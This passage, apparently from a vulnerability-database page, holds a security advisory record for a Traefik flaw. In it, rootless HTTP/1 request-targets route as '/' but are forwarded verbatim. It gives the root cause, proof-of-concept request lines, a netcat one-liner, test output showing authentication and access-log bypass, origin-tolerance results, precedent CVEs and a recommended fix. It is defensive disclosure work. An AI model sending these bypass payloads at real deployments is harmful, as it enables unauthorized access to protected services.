\"app@file\" \"http://poc-nginx:80\" 0ms\n```\n\n**B2. Differential against the documented hardening** (`--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false`, `sanitizePath=true`):\n```\n=== request-target sent: \u0027/admin%2f..%2fsecret\u0027\nHTTP/1.1 400 Bad Request                       \u003c- canonical path: protection fires\n\n=== request-target sent: \u0027http:http://internal-vhost/admin%2f..%2fsecret\u0027\nHTTP/1.1 200 OK\nINTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   \u003c- same payload, protection never fires\n```\n\n**B3. ForwardAuth authorization bypass** (middleware `forwardAuth` to an nginx auth service that returns 403 when `X-Forwarded-Uri` matches `^/admin`):\n```\n=== request-target sent: \u0027/admin\u0027                          -\u003e 403 DENY\n=== request-target sent: \u0027http:/admin\u0027                     -\u003e 403 DENY\n=== request-target sent: \u0027http:http://internal-vhost/admin\u0027-\u003e 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost\n```\nAuth-service log confirms the decision flip: `403`, `403`, `200`.\n\n**Conclusion:** REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.\n\n### Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Reproduction (J18, F20)\n\nThree Go probes were written into `pkg/server/` of the checkout (named `zz_scanpoc_J18*_test.go`) and **deleted afterwards**; `git status` confirms no `zz_scanpoc_J18` file remains and the checkout is still on `v3.7` @ `d5072ce7b8765c9574246072e05dd81d84950da7`. Docker containers were removed at the end of the run.\n\n**Probe 1 \u2014 routing desync and verbatim forward.** Real entry point chain (`denyFragment` -\u003e `normalizePath` -\u003e `sanitizePath` -\u003e `requestdecorator` -\u003e `httpmuxer.Muxer`), two routers on the same service, real `pkg/proxy/httputil` proxy, raw TCP backend recording the request line, driven over a raw socket.\n\n```\ncd /Users/emile/go/src/github.com/traefik/traefik\ngo test -run TestJ18RootlessRequestTarget ./pkg/server/ -v\n```\n\n```\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1\n    --\u003e raw request line: \"GET http:admin/secret HTTP/1.1\"\n    in-Traefik state: URL.Opaque=\"admin/secret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin/secret\" EscapedPath=\"/\"\n    \u003c-- routers matched: [router-app(NO AUTH)]\n    \u003c-- response: \"HTTP/1.1 200 OK\\r\"\n    \u003c-- backend request lines seen so far: [\"GET admin/secret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1\n    in-Traefik state: URL.Opaque=\"admin%2Fsecret\" URL.Path=\"/\" URL.RawPath=\"\" RequestURI=\"admin%2Fsecret\" EscapedPath=\"/\"\n    \u003c-- routers matched: [router-app(NO AUTH)]\n    \u003c-- backend request lines seen so far: [... \"GET admin%2Fsecret HTTP/1.1\\r\\n\"]\n=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)\n    \u003c-- routers matched: [router-admin(AUTH)]\n    \u003c-- response: \"HTTP/1.1 401 Unauthorized\\r\"\nPASS\n```\n\nThe control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker\u0027s bytes, including the `%2F` that an `encodedCharacters` filter would have rejected.\n\n**Probe 2 \u2014 origin tolerance.** Which origins actually resolve a rootless request-target.\n\n```\ngo test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0\ndocker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine\ndocker run -d --rm -p 18120:3000 node:alpine node -e \"require(\u0027http\u0027).createServer(...)\"\ndocker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000\ndocker run -d --rm -p 18122:8080 tomcat:9.0.120\nprintf \u0027GET admin/secret HTTP/1.1\\r\\nHost: app.example.com\\r\\nConnection: close\\r\\n\\r\\n\u0027 | nc -w 3 127.0.0.1 \u003cport\u003e\n```\n\n| Origin | `GET admin/secret HTTP/1.1` | `GET /admin/secret HTTP/1.1` (control) |\n|---|---|---|\n| Go `net/http` | `HTTP/1.1 400 Bad Request` | 200, `Path=\"/admin/secret\"` |\n| nginx:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| httpd:alpine | `HTTP/1.1 400 Bad Request` | 404 (resolved) |\n| Node.js (llhttp) | `HTTP/1.1 400 Bad Request` | `HTTP/1.1 200 OK` |\n| Tomcat 9.0.120 | `HTTP/1.1 400` | 404 (resolved) |\n| Python `http.server` | accepted (404, no 400) | 404 |\n| **fasthttp v1.69.0** | **`200 OK`, `Path=\"/admin/secret\"`** | 200, `Path=\"/admin/secret\"` |\n\nfasthttp also decodes the encoded form: `GET admin%2Fsecret HTTP/1.1` yields `Path=\"/admin/secret\"`, `RequestURI=\"admin%2Fsecret\"`.\n\n**Probe 3 \u2014 end-to-end authentication bypass.** Same chain as probe 1, with a real `basicAuth`-style gate on the `/admin` router and a `fasthttp` origin serving `ADMIN_PANEL_SECRET` at `/admin/secret`.\n\n```\ngo test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v\n```\n\n```\n\"GET /admin/secret HTTP/1.1\"       =\u003e 401 basicAuth required\n\"GET http:admin/secret HTTP/1.1\"   =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n\"GET http:admin%2Fsecret HTTP/1.1\" =\u003e Server: fasthttp ... ADMIN_PANEL_SECRET\n```\n\nThe bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.\n\n## Second affected site (J18)\n\nThe finding is **mechanically correct and fully reproduced end to end**, including the auth bypass.\n\nA client-controlled HTTP/1.x request-target of the form `scheme:rootless/path` (for example `GET http:admin/secret HTTP/1.1`) is parsed by Go\u0027s `url.ParseRequestURI` into `URL.Opaque = \"admin/secret\"` with an empty `URL.Path` / `URL.RawPath`. Traefik\u0027s entry point chain and muxer never look at `URL.Opaque`:\n\n- `denyFragment` inspects `URL.RawPath` (empty) and passes.\n- `normalizePath` returns early on empty `RawPath`.\n- `sanitizePath` calls `URL.JoinPath()`, which rewrites `Path` to `\"/\"` and **leaves `Opaque` untouched**, then sets `RequestURI = URL.RequestURI()` = `\"admin/secret\"`.\n- `withRoutingPath` (`pkg/muxer/http/mux.go:139`) derives the routing path from `req.URL.EscapedPath()`, which ignores `Opaque`, so every `Path` / `PathPrefix` / `PathRegexp` matcher evaluates against `\"/\"`.\n- Both proxies copy the URL wholesale and never clear `Opaque`, so the outgoing request line is the attacker\u0027s target verbatim.\n\nResult: Traefik makes its routing and middleware decision on one string (`\"/\"`) and writes a different string to the backend (`admin/secret`). Where a host-only or `PathPrefix(\"/\")` router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.\n\nWhere the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, **five reject the rootless target with 400** (Go `net/http`, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only `fasthttp` (and the Fiber family built on it) and Python\u0027s `http.server` accept it. Notably Tomcat, the backend family that carried the closest prior report (`GHSA-vrvv-46fp-28pp`), answers 400 here.\n\n## Documentation grounding\n\nGoverning page: `docs/content/security/request-path.md` (published as https://doc.traefik.io/traefik/security/request-path/). **Not WAI.**\n\nThe page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents `sanitizePath: true` as a **default-on hardening the team ships**, with `encodedCharacters.allowEncodedSlash: false` as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on `header-underscores.md`, `content-length.md`, `http2-header-memory.md` or `multi-tenant-kubernetes.md`, documents the request-target form, absolute-form / rootless targets, `URL.Opaque`, or an authority carried in the target. Grep for `absolute`, `request-target`, `request line`, `Opaque`, `authority` across `docs/content/security/` returns nothing.\n\nThis lands squarely in Step 2e\u0027s **second** bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator *did* enable the opt-in and it still failed.\n\n## Precedent in comparable projects\n\nSearched `data/competitors/*.json` on `absolute.form|absolute-form|absolute URI|request.target|request line|authority.form`, then on `smuggl|desync|normaliz`.\n\n| Product | ID | Severity | Framing | Fix shape |\n|---|---|---|---|---|\n| Caddy | CVE-2026-27587 | HIGH | `MatchPath`\u0027s `%xx` (escaped-path) branch skips case normalization, so the matcher\u0027s view of the path diverges from the served one, enabling path-based route/auth bypass. | Normalize in the divergent branch so matcher and handler agree on one interpretation. |\n| Caddy | CVE-2026-27588 | HIGH | `MatchHost` becomes case-sensitive above 100 hosts, so host matching diverges from the request\u0027s real host, enabling host-based route/auth bypass. | Same fix shape: make the fast path agree with the canonical path. |\n| Envoy | CVE-2021-32779 | high | `#fragment` treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. | Reject or strip the divergent element before routing. |\n| Envoy | CVE-2021-29492 | high | Escaped-slash characters let requests bypass path matching rules. | Configurable normalization of `%2F` before matching. |\n| Envoy | CVE-2019-9901 | CRITICAL | Missing HTTP URL path normalization lets the proxy\u0027s routing view diverge from the backend\u0027s. | Add normalization. |\n| Envoy | CVE-2023-27491 | medium | Envoy **forwards invalid HTTP/2 and HTTP/3 downstream headers** to the upstream instead of rejecting them. | Reject malformed downstream input at the edge. |\n| Istio | CVE-2021-39156 | high | Fragments in the path lead to authorization policy bypass. | Normalize before policy evaluation. |\n| HAProxy | CVE-2023-25725 | CRITICAL | HTTP/1 headers inadvertently lost in some conditions, allowing a bypass of access control. | Restore consistent parsing. |\n\n_(truncated ; full analysis in the linked internal report)_\n\n## Recommended fix\n\n**Assign for fix, and treat as CVE-worthy.**\n\n1. Clear the opaque form when rebuilding the outbound URL, in both proxies. In `pkg/proxy/httputil/proxy.go`, next to the Path/RawPath assignments:\n   ```go\n   pr.Out.URL.Opaque = \"\"\n   ```\n   and in `pkg/proxy/fast/proxy.go`, on the `u2 := *req.URL` copy before `outReq.SetRequestURI(u2.RequestURI())`. This alone closes the forwarding half.\n2. Reject non-origin-form request-targets at the entry point, which is the stronger fix and the one matching the competitor remediation shape (Envoy CVE-2023-27491: reject malformed downstream framing at the edge rather than relaying it). For non-`CONNECT` requests, require `req.URL.Opaque == \"\"` and an `EscapedPath()` beginning with `/`, or normalize the true `absolute-form` case by promoting the authority into `req.Host`. This makes the router, the path sanitizers, the middlewares, the access log and the backend agree on a single interpretation of the target, which step 1 alone does not achieve: without it, `sanitizePath` still rewrites `RequestURI` to the attacker\u0027s authority-bearing form and the access log still records `/`.\n3. Add a regression test asserting that a rootless request-target either is rejected at the entry point or reaches the backend as an origin-form target derived from the routed path. The probe used above is a direct starting point.\n4. Consider reporting the `ReverseProxy` omission upstream to Go as well, since `NewSingleHostReverseProxy` has the same gap, but do not make the Traefik fix wait on it.\n5. If filed as an advisory, use cluster slug `opaque-request-target-forwarding` and note that the fix must land on the fast proxy in the same PR.\n\n## Provenance\n\nFound by an external automated code scan (`CLAUDE-SECURITY-20260824-122205`) of `pkg/middlewares`, `pkg/proxy`, `pkg/server`, `pkg/muxer` and `pkg/tls` on branch `v3.7` at commit `d5072ce7b8765c9574246072e05dd81d84950da7`, then triaged with the `advisory-check` process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.\n\nTriage outcome : **Likely Valid**, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.\n\nScanner finding ids : F4, F20. Internal report : `findings/scan-20260824/verdicts/J04.md, J18.md` in the security-advisor repository.\n\n\u003c/details\u003e\n---",
  "id": "GHSA-f52w-8j3h-j724",
  "modified": "2026-09-10T23:03:53Z",
  "published": "2026-09-10T23:03:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-f52w-8j3h-j724"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88009"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13796"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/58d1e9ca204526823211e30fd4634101c59d58e9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Rootless HTTP/1 request-target routes as \"/\" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…